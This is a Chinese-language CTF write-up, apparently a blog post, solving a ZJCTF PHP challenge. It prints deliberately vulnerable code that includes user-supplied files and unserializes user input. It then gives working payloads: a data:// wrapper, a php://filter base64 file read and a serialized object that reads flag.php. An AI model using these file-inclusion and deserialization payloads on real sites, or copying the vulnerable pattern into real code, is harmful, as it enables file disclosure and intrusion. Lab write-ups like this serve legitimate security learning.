前言
就直接上题目吧
这题有些意思
正文
php
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];//定义三个变量
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){//做了强比较,可利用?
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";//传入的内容进行输出,如果只是单纯使text=上述,绝对不能echo file_get_contents 绕过?
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php 包含,可利用?
$password = unserialize($password);
echo $password; //构建序列化,由于未做限制,可自由发挥
}
}
else{
highlight_file(__FILE__);
}
?>
大致情况
1.file_get_contents
2.文件包含
3.反序列化漏洞
再次审计分析,发现这里的强比较无法有效绕过 ,且/flag/被过滤
我们先尝试构建
EXP
首先要符合fgc
bash
?data://text/plain,welcome to the zjctf
接下来是文件包含 ,获取提示给的useless.php内容
bash
?file=php://filter/read=convert.base64-encode/resource=useless.php
输出的内容
php
<?php
class Flag{
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
这就很简单了
继续构建
bash
?password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
........害搁这循序渐进是伐.......
但是没有其他可利用的地方了,然后f12看到了flag
..............................我真的就............................
算了算了
差不多就是这样
需要注意的是
1.三个变量缺一不可,因为题目有先后顺序
2.file=useless.php是因为给了提示,不要想太多
3.多尝试
结语
没想到我也有500粉丝了,真的是始料未及的事情
感谢各位师傅们的支持,未来我也会给大家带来更多的内容
不只是CTF